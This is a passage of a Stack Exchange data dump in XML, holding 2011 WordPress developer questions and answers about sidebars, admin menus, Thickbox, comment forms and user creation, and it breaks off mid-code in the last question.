  <row Id="25103" PostTypeId="2" ParentId="25056" CreationDate="2011-08-05T21:39:56.350" Score="1" ViewCount="" Body="&lt;p&gt;if you want to show the menus only on child pages then you need to change your conditional statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;//only on children of 269&#xA;if ('269' == $post-&amp;gt;post_parent){&#xA;//menu for Sport &amp;amp; Fitness pages&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;seventh&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;        &amp;lt;?php dynamic_sidebar( 'sidebar-7' ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #second .widget-area --&amp;gt;&#xA;&amp;lt;?php&#xA;//only on children of 118&#xA;}elseif( '118' == $post-&amp;gt;post_parent){&#xA;//menu for Eat Smart pages&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;eighth&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;    &amp;lt;?php dynamic_sidebar( 'sidebar-8' ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #second .widget-area --&amp;gt;&#xA;&amp;lt;?php&#xA;//everything else including parent pages&#xA;}else{&#xA;//default menu&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-05T21:39:56.350" CommentCount="2" />
  <row Id="25104" PostTypeId="1" CreationDate="2011-08-05T21:51:27.587" Score="1" ViewCount="22" Body="&lt;p&gt;I'm creating a plugin which generates a handfull or custom post types (CPT).  I've create a top level menu in the admin left sidebar using &lt;code&gt;add_menu_page()&lt;/code&gt;.  I then added all CPTs to this menu using &lt;code&gt;register_post_type()&lt;/code&gt;'s &lt;code&gt;show_in_menu&lt;/code&gt; option.  I also created a plugin settings page using &lt;code&gt;add_submenu_page()&lt;/code&gt;, which I also added to the top menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't get the settings page to appear above the CPT pages in the submenu.     I make the &lt;code&gt;register_post_type()&lt;/code&gt; call in an &quot;init&quot; action, and I make the &lt;code&gt;add_submenu_page()&lt;/code&gt; call in a &quot;admin_menu&quot; action (which happens after &quot;init&quot;).  So, it makes sense that the CPT pages come first.  I can't move the &lt;code&gt;register_post_type()&lt;/code&gt; calls to later in the process (it's too late to register a CPT, and I can't move the &lt;code&gt;add_submenu_page()&lt;/code&gt; earlier (it's not defined earlier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I just have to live with it?&lt;/p&gt;&#xA;" OwnerUserId="6843" LastActivityDate="2011-08-06T00:29:33.517" Title="Settings page above CPT page in admin section" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;menus&gt;&lt;add-menu-page&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25105" PostTypeId="1" CreationDate="2011-08-05T21:51:45.883" Score="0" ViewCount="34" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21634/what-is-your-take-timthumb-vs-wordpress-thumbnails-the-great-debate&quot;&gt;What is your take: TimThumb vs. WordPress Thumbnails? The great debate&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Can you explain to me why timthumb is much better than WP image resizer inside wp core function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other image manipulation script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2011-08-05T22:13:32.793" ClosedDate="2011-08-05T22:16:29.140" Title="Why WordPress developer still using timthumb and what are advantages using them?" Tags="&lt;theme-development&gt;&lt;timthumb&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25106" PostTypeId="2" ParentId="25099" CreationDate="2011-08-05T21:59:18.313" Score="1" ViewCount="" Body="&lt;p&gt;you can do that using &lt;code&gt;login_errors&lt;/code&gt; filter hook and here is how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('login_errors','login_error_message');&#xA;&#xA;function login_error_message($error){&#xA;    //check if that's the error you are looking for&#xA;    $pos = strpos($error, 'incorrect');&#xA;    if ($pos === false) {&#xA;        //its the right error so you can overwrite it&#xA;        $error = &quot;Wrong information&quot;;&#xA;    }&#xA;    return $error;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;i just tested the code and it works fine just pasted the code in my theme's functions.php file without changing anything with the .po file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ctdbI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-06T00:02:26.067" LastActivityDate="2011-08-06T00:02:26.067" CommentCount="7" />
  <row Id="25107" PostTypeId="2" ParentId="25105" CreationDate="2011-08-05T22:13:32.793" Score="1" ViewCount="" Body="&lt;p&gt;Its some what of an old (bad) habit of developers from back when WordPress did not have thumbnail functionality or the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;add_image_size()&lt;/strong&gt;&lt;/a&gt; function that can be used to create custom image size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that timthumb does better is side to side cropping instead of the WordPress built-in center box cropping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't get me wrong timtumb is still good but needs a little work for better security&#xA;with that being said there is a new fork called &lt;a href=&quot;http://code.google.com/p/wordthumb/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordThumb&lt;/strong&gt;&lt;/a&gt; which works in the same way but without the vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you are looking for a total different approach alternative then check out &lt;a href=&quot;http://phpthumb.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;phpThumb&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-05T22:13:32.793" CommentCount="1" />
  <row Id="25108" PostTypeId="1" CreationDate="2011-08-05T22:14:36.443" Score="0" ViewCount="18" Body="&lt;p&gt;Is there someway to get a list of all links on a page, including links in theme files, header, footer, sidebar, posts, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to do this in JavaScript, but I'm hoping for a server-side solution.&lt;/p&gt;&#xA;" OwnerUserId="7678" LastActivityDate="2011-08-05T22:21:30.743" Title="Get a list of all links on a page?" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="25109" PostTypeId="2" ParentId="25108" CreationDate="2011-08-05T22:21:30.743" Score="1" ViewCount="" Body="&lt;p&gt;it is possible to do on server side but you would have to create an &lt;a href=&quot;http://php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;output buffer&lt;/strong&gt;&lt;/a&gt; and the either use &lt;a href=&quot;http://php.net/manual/en/function.preg-match.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Regex&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://php.net/manual/en/class.domdocument.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Dom phrase&lt;/strong&gt;&lt;/a&gt; to get all of  the links.&#xA;a much easier solution would be to use JavaScript or even better jQuery.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-05T22:21:30.743" CommentCount="3" />
  <row Id="25110" PostTypeId="1" AcceptedAnswerId="25417" CreationDate="2011-08-05T22:41:46.637" Score="2" ViewCount="28" Body="&lt;p&gt;Sometimes it's nice to have admin on a different host (admin.mysite.com) then the actual site (www.mysite.com). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If admin.mysite.com is not publicly accessible, then images attached to posts on admin.mysite.com will not be accessible on www.mysite.com since the url to the attached image is absolute and contains the domain (admin.mysite.com). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to fix this? The nicest way would be if the url to an attached media would be relative and not absolute. &lt;/p&gt;&#xA;" OwnerUserId="4486" LastActivityDate="2011-08-09T13:17:33.893" Title="Having admin on different host breaks attached images" Tags="&lt;admin&gt;" AnswerCount="2" />
  <row Id="25111" PostTypeId="2" ParentId="25110" CreationDate="2011-08-06T00:07:45.750" Score="2" ViewCount="" Body="&lt;p&gt;you can configure the tinymce to use relative paths for images using the &lt;code&gt;tiny_mce_before_init&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tinymce_relative_path( $init ) {&#xA; $init['relative_urls'] = true;&#xA; $init['document_base_url'] = 'http://www.mysite.com';&#xA; return $init;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'tinymce_relative_path');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-06T00:07:45.750" CommentCount="1" />
  <row Id="25112" PostTypeId="1" AcceptedAnswerId="25121" CreationDate="2011-08-06T00:19:36.720" Score="0" ViewCount="71" Body="&lt;p&gt;I've been searching for a better way to utilize the built in Thickbox function for images. I've been using my method for a few months, but I don't think it's the best way to do it. Here is the code I've been using (I don't remember where I found the code or I'd link to the article):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!is_admin()){&#xA;/*&#xA;add a word found in your domain name&#xA;*/&#xA;$mydomain = &quot;.com&quot;;&#xA;/*&#xA;The css selector&#xA;.entry-content a img &#xA;*/&#xA;$myselector = &quot;p a img&quot;;&#xA;wp_enqueue_style('thickbox'); //include thickbox .css&#xA;wp_enqueue_script('jquery');  //include jQuery&#xA;wp_enqueue_script('thickbox'); //include Thickbox jQuery plugin&#xA;    // Function that will write js&#xA;    function thickbox_js(){&#xA;        global $mydomain, $myselector;&#xA;        ?&amp;gt;&#xA;        &amp;lt;script type='text/javascript'&amp;gt;&#xA;         var tb_closeImage = &quot;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;/wp-includes/js/thickbox/tb-close.png&quot;;&#xA;         var tb_pathToImage = &quot;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;/wp-includes/js/thickbox/loadingAnimation.gif&quot;;&#xA;         jQuery(document).ready(function() {&#xA;             jQuery(&quot;&amp;lt;?php echo $myselector; ?&amp;gt;&quot;).parent(&quot;a[href*=&amp;lt;?php echo $mydomain; ?&amp;gt;]&quot;).addClass(&quot;thickbox&quot;);&#xA;         });&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;add_action('wp_footer', 'thickbox_js'); // use wp_footer hook to write our generated javascript into page footer.&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated. I've tried several different methods listed in tutorials, but none have worked. Thanks...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To be more specific, this is the part in question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I'm using now:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    function add_themescript(){&#xA;     if(!is_admin()){&#xA;     wp_enqueue_script('thickbox',null,array('jquery'));&#xA;     wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');&#xA;     }&#xA;}&#xA; add_action('init','add_themescript');&#xA;&#xA;define(&quot;IMAGE_FILETYPE&quot;, &quot;(bmp|gif|jpeg|jpg|png)&quot;, true);&#xA;function wp_thickbox($string) {&#xA;$pattern = '/(&amp;lt;a(.*?)href=&quot;([^&quot;]*.)'.IMAGE_FILETYPE.'&quot;(.*?)&amp;gt;&amp;lt;img)/ie';&#xA;$replacement = 'stripslashes(strstr(&quot;\2\5&quot;,&quot;rel=&quot;) ? &quot;\1&quot; : &quot;&amp;lt;a\2href=\&quot;\3\4\&quot;\5 class=\&quot;thickbox\&quot;&amp;gt;&amp;lt;img&quot;)';&#xA;  return preg_replace($pattern, $replacement, $string);&#xA;}&#xA;&#xA;function wp_thickbox_rel( $attachment_link ) {&#xA;$attachment_link = str_replace( 'a href' , 'a rel=&quot;thickbox-gallery&quot; class=&quot;thickbox&quot; href' , $attachment_link );&#xA;  return $attachment_link;&#xA;}&#xA;add_filter('the_content', 'wp_thickbox');&#xA;add_filter('wp_get_attachment_link' , 'wp_thickbox_rel');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thinks that's a little better, but I'm still not sure it's the optimal way. Next I need to learn how to add navigation to the ThickBox pop-up images.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-08-07T01:59:18.297" LastActivityDate="2011-08-07T01:59:18.297" Title="Howto use WP built in Thickbox for images?" Tags="&lt;images&gt;&lt;javascript&gt;&lt;thickbox&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="25113" PostTypeId="2" ParentId="25104" CreationDate="2011-08-06T00:29:33.517" Score="2" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;menu_order&lt;/code&gt; filter hook to change the order &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_menu_order($menu_ord) {&#xA;       if (!$menu_ord) return true;&#xA;       return array('settings_page.php', 'edit.php?post_type=CTP1','edit.php?post_type=CTP2','edit.php?post_type=CTP3');&#xA;}&#xA;&#xA;add_filter('custom_menu_order', 'custom_menu_order');&#xA;add_filter('menu_order', 'custom_menu_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-06T00:29:33.517" CommentCount="1" />
  <row Id="25114" PostTypeId="2" ParentId="23386" CreationDate="2011-08-06T00:54:38.003" Score="0" ViewCount="" Body="&lt;p&gt;I am having the same problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah according to the link to the bug issue above... the user suggests that the problem is in using query_posts() function on the post page (found within the theme). This somehow triggers wordpress to think that you're editing a category.  It sort of makes sense but the suggestion there is to use the get_posts() function instead, which DOES fix the problem. Edit Post link shows However, get_posts() function does not work the same as query_posts and doesn't work for what I need.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it might be a bug and for now would take the suggestion of using the edit_posts_link() function for the time being.  It's annoying, I agree but so far havent found another solution.&lt;/p&gt;&#xA;" OwnerUserId="7680" LastActivityDate="2011-08-06T00:54:38.003" CommentCount="2" />
  <row Id="25115" PostTypeId="1" CreationDate="2011-08-06T01:06:41.867" Score="0" ViewCount="21" Body="&lt;p&gt;Not sure how to pursue this, hopefully I can get a direction to go in. I'm know it will require some form of javascript/jquery/ajax, (a weakness of mine), to accomplish without the refresh, so something like a tutorial would be most helpful, but I'll happily take a look at anything sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have a dropdown where I'll set up links to a handful of posts, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;  &amp;lt;option value=&quot;http://test.medialayer.net/mlsRegion/regOne/&amp;gt;Region One&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;http://test.medialayer.net/mlsRegion/regTwo/&amp;gt;Region Two&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;http://test.medialayer.net/mlsRegion/regThree/&amp;gt;Region Three&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a div where the selected post will load&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;postArea&quot;&amp;gt; &#xA;    &amp;lt;!-- THIS IS THE CONTAINER WHERE THE CONTENT WILL BE LOADED --&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the while not refreshing the rest of the page.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-08-06T01:06:41.867" Title="Dropdown selector to load a single post into empty div" Tags="&lt;posts&gt;&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="25116" PostTypeId="1" CreationDate="2011-08-06T01:14:49.953" Score="0" ViewCount="25" Body="&lt;p&gt;Starting with 3.2, Wordpress now auto-loads new page content and appends it to the bottom of my page when I scroll down. Two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this behavior called?&#xA;2. How can I defeat it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have eight pages (welcome, contact, about, etc.) and I want everyone who comes to my blog to see &quot;welcome&quot; and only welcome. They can click links to go to &quot;contact&quot;. But now wordpress is tacking on the content from &quot;contact&quot;, then &quot;about,&quot; etc. if I scroll down to look at the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens in Chrome (logged out or logged in) but not Safari or Firefox. I'm using the twenty-eleven theme but I can't find any settings there or elsewhere on the dashboard that would allow me to turn this off.&lt;/p&gt;&#xA;" OwnerUserId="7681" LastActivityDate="2011-08-06T01:14:49.953" Title="how can I turn off home page &quot;auto load next page&quot; feature?" Tags="&lt;themes&gt;&lt;caching&gt;" CommentCount="1" />
  <row Id="25117" PostTypeId="2" ParentId="25043" CreationDate="2011-08-06T01:37:49.420" Score="0" ViewCount="" Body="&lt;p&gt;you mau use a filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to Add a comma after each tag in a tag cloud, you can put the following in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfunc_filter_tag_cloud($args) {&#xA;    $args['smallest'] = 18;&#xA;    $args['largest'] = 32;&#xA;    $args['unit'] = 'px';&#xA;    $args['separator']= ', ';&#xA;    return $args;&#xA;}&#xA;add_filter ( 'widget_tag_cloud_args', 'myfunc_filter_tag_cloud');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-06T01:37:49.420" CommentCount="1" />
  <row Id="25118" PostTypeId="1" CreationDate="2011-08-06T02:25:00.620" Score="0" ViewCount="33" Body="&lt;p&gt;I'm looking to change the comments form title (my theme defaults this to &quot;Leave a Comment&quot; or &quot;Leave a reply to&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps I could add a hook to comment_form_defaults but my snippet below isn't working... any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;add_filter('comment_form_defaults', 'askQuestion');&#xA;&#xA;function askQuestion($defaults) {&#xA;  $defaults['title_reply'] = 'Ask a Question';&#xA;  $defaults['title_reply_to'] = 'Your text %s';&#xA;  return $defaults;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is being added to the HTML editor of the page editor within wordpress. We  are using the ExecPHP plugin to compile  code within posts/pages. We are looking for a way to do this on just this page, not every comment form on our blog.&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2011-09-05T07:43:00.747" Title="Change comments form title on a page by page basis" Tags="&lt;php&gt;&lt;functions&gt;&lt;comments&gt;&lt;add-filter&gt;&lt;default&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25119" PostTypeId="1" CreationDate="2011-08-06T02:44:32.117" Score="0" ViewCount="19" Body="&lt;p&gt;I have a regular wordpress site and I am trying to make a mobile version of the same site. For the blog section, I have put all of the posts in two categories: blog and mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The posts in &quot;blog&quot; show up fine on the regular site. Now I want those same posts to show up on the mobile site, but they need to be styled different to fit in the mobile world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thought was just to put a post in both categories, but I've now realized that I can't just stylize the templates for both categories because since the posts are in two categories, wordpress (or single.php) doesn't know which category I want to have displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which leads me to my questions:&#xA;1. Is there a way to do what I have described above? It seems that single.php would have to know where the link was coming from in order to figure out which template to use.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a better way to do what I'm trying to do?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically, when a post is clicked on from the &quot;category/blog&quot; page, it should look one way and when it is clicked on from the &quot;category/mobile&quot; page, it should look different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching for days and I've found some posts and forums that deal with this, but no one seems to have an answer. Some posts have mentioned that there is a way to capture the current page url and then force single.php to display a certain template based on the link it comes from, however no one actually describes how it is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing to what I'm trying to do seems to be discussed &lt;a href=&quot;http://wordpress.org/support/topic/on-post-in-multiple-categories-wich-singlephp?replies=7&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but I don't understand what was done and I can't get it to work for me. I have posted in that forum, but no one has responded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post &lt;a href=&quot;http://wordpress.org/support/topic/multiple-templates-for-single-archive-page?replies=7&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; also seems to be trying to do something similar, but I don't understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think to make this work is to have the author (who is not me) double post their post to two different categories, but that would become a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried my best to articulate what I'm trying to do. If I'm not being clear, please let me know and I'll try to clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping someone can help me either figure this out or show me a better way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7683" LastActivityDate="2011-08-07T20:17:51.857" Title="Can I style single post that are in multiple catergories?" Tags="&lt;posts&gt;&lt;categories&gt;&lt;multiple&gt;&lt;single&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25120" PostTypeId="1" AcceptedAnswerId="25130" CreationDate="2011-08-06T03:00:51.540" Score="0" ViewCount="15" Body="&lt;p&gt;Is there an argument to define how many posts ago will be displayed in &quot;recent&quot; posts.  Could I add something to this and define a specific number of posts ago to start the loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'numberposts' =&amp;gt; '5' );&#xA;$recent_posts = wp_get_recent_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for example I have a page of archives with their excerpts for the last 5 posts.  In the sidebar I would like to show other posts from that category, starting with 6 posts ago.&lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-08-06T05:51:30.833" Title="Show recent posts starting at a specific number archive" Tags="&lt;php&gt;&lt;loop&gt;&lt;recent-posts&gt;" AnswerCount="1" />
  <row Id="25121" PostTypeId="2" ParentId="25112" CreationDate="2011-08-06T03:29:33.623" Score="1" ViewCount="" Body="&lt;p&gt;What if you try adding this to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tb(){&#xA;    wp_enqueue_script('thickbox',null,array('jquery'));&#xA;    wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');&#xA;}&#xA;add_action('init','tb');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and keeping your bit of jQuery (not sure what your are needing those php variables for):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; jQuery(document).ready(function() {&#xA;             jQuery(&quot;img&quot;).parent(&quot;a&quot;).addClass(&quot;thickbox&quot;);&#xA;         });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-08-06T03:29:33.623" CommentCount="4" />
  <row Id="25122" PostTypeId="1" CreationDate="2011-08-06T03:50:28.907" Score="0" ViewCount="15" Body="&lt;p&gt;I am using the latest version of Options Framework (which is awesome and amazing!) to build out some theme options/controls. In a text area, I am asking the user for something that is best output via multiple paragraphs. I want to retain the spacing they specify in this textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I output their option in via shortcode and all spacing is lost. I also output it via an echo and all spacing is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="7684" LastActivityDate="2011-08-06T03:50:28.907" Title="Space Retention from TextArea in Options Framework" Tags="&lt;theme-options&gt;&lt;esc-textarea&gt;" CommentCount="3" />
  <row Id="25123" PostTypeId="1" CreationDate="2011-08-06T04:16:29.837" Score="0" ViewCount="30" Body="&lt;p&gt;Right now I'm using &lt;code&gt;add_image_size&lt;/code&gt; to create the thumbnail sizes needed for my theme, completely bypassing the options in Settings &gt; Media since I can't depend on users to enter the correct values manually. However, that means WordPress is creating files for each of those sizes which will never be used. Is there any more efficient approach that would just allow me to override the default values in functions.php instead of creating new ones?&lt;/p&gt;&#xA;" OwnerUserId="6800" LastActivityDate="2011-08-06T18:05:12.430" Title="Change &quot;Thumbnail&quot;, &quot;Medium&quot; and &quot;Large&quot; image sizes using functions.php?" Tags="&lt;theme-development&gt;&lt;add-image-size&gt;" AnswerCount="1" />
  <row Id="25124" PostTypeId="1" AcceptedAnswerId="25132" CreationDate="2011-08-06T04:21:45.827" Score="0" ViewCount="32" Body="&lt;p&gt;I have a blog which uses custom post type 'aside' for aside posts. Now that wordpress has custom post formats, I want to use the 'aside' post format instead. Is there a way to convert post typess to post formats? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for code/tool similar to wordpress's in-built tool which lets one convert from categories to tags.&lt;/p&gt;&#xA;" OwnerUserId="5384" LastActivityDate="2011-08-06T06:01:56.290" Title="How does one go about converting custom post type to post format?" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;post-formats&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25125" PostTypeId="1" AcceptedAnswerId="25134" CreationDate="2011-08-06T04:44:13.250" Score="0" ViewCount="25" Body="&lt;p&gt;Is there a way to select and display the last X approved comments regardless of which posts or categories they belong to ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to show on my home page the last comments added on my site, but I can't find anywhere how to do that.&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-08-06T06:12:41.210" Title="WordPress : displaying last comments on home page" Tags="&lt;comments&gt;&lt;wordpress.org&gt;" AnswerCount="2" />
  <row Id="25126" PostTypeId="1" AcceptedAnswerId="25169" CreationDate="2011-08-06T04:52:28.620" Score="1" ViewCount="44" Body="&lt;p&gt;I'm trying to create a new user after someone fills out a form. I'm using &lt;code&gt;wp_create_user&lt;/code&gt; to do so. A user is being created properly, but, for whatever reason, no password is being submitted to the &lt;code&gt;users&lt;/code&gt; table. It's simply a blank value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I should note that, unfortunately, for this project I'm on 3.1.3 and there is very little chance that I'd be able to use 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked to make sure that the password is correct up to the point that it is passed to the &lt;code&gt;wp_create_user&lt;/code&gt; function and the value is as expected. I've also gone so far as to trace the password to the &lt;code&gt;wp_insert_user&lt;/code&gt; function. It passes through the &lt;code&gt;wp_hash_password&lt;/code&gt; function and comes out as a 34 character password hash. I then checked to see what the value of the password is before the &lt;code&gt;$wpdb-&amp;gt;insert&lt;/code&gt; method is executed to insert the user. The password is still the beautiful hash, not an empty value. I then kept on down the rabbit whole into the &lt;code&gt;_insert_replace_helper&lt;/code&gt; method of the &lt;code&gt;$wpdb&lt;/code&gt; class. The data fed to that function was just fine; however, the function returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;query( $this-&amp;gt;prepare( $sql, $data ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went to look at the &lt;code&gt;prepare&lt;/code&gt; method and it is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function prepare( $query = null ) { // ( $query, *$args )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes that little comment is from the actual code. When I saw it, I thought the previous dev had made this alteration. I was initially furious until I diffed it against the real file and found it to be identical. So, my confusion here is that the &lt;code&gt;_insert_replace_helper&lt;/code&gt; method is calling the &lt;code&gt;prepare&lt;/code&gt; method and sending it two arguments when it expects 1. What in the world is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Why isn't my password being sent to the database&#xA;2) What is going on with the &lt;code&gt;_insert_replace_helper&lt;/code&gt; method sending two arguments to the &lt;code&gt;prepare&lt;/code&gt; method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that the function I'm using to add the user looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Function for registering user&#xA;function gov_register_user($name, $password, $email, $company, $phone)&#xA;{&#xA;    // If user is 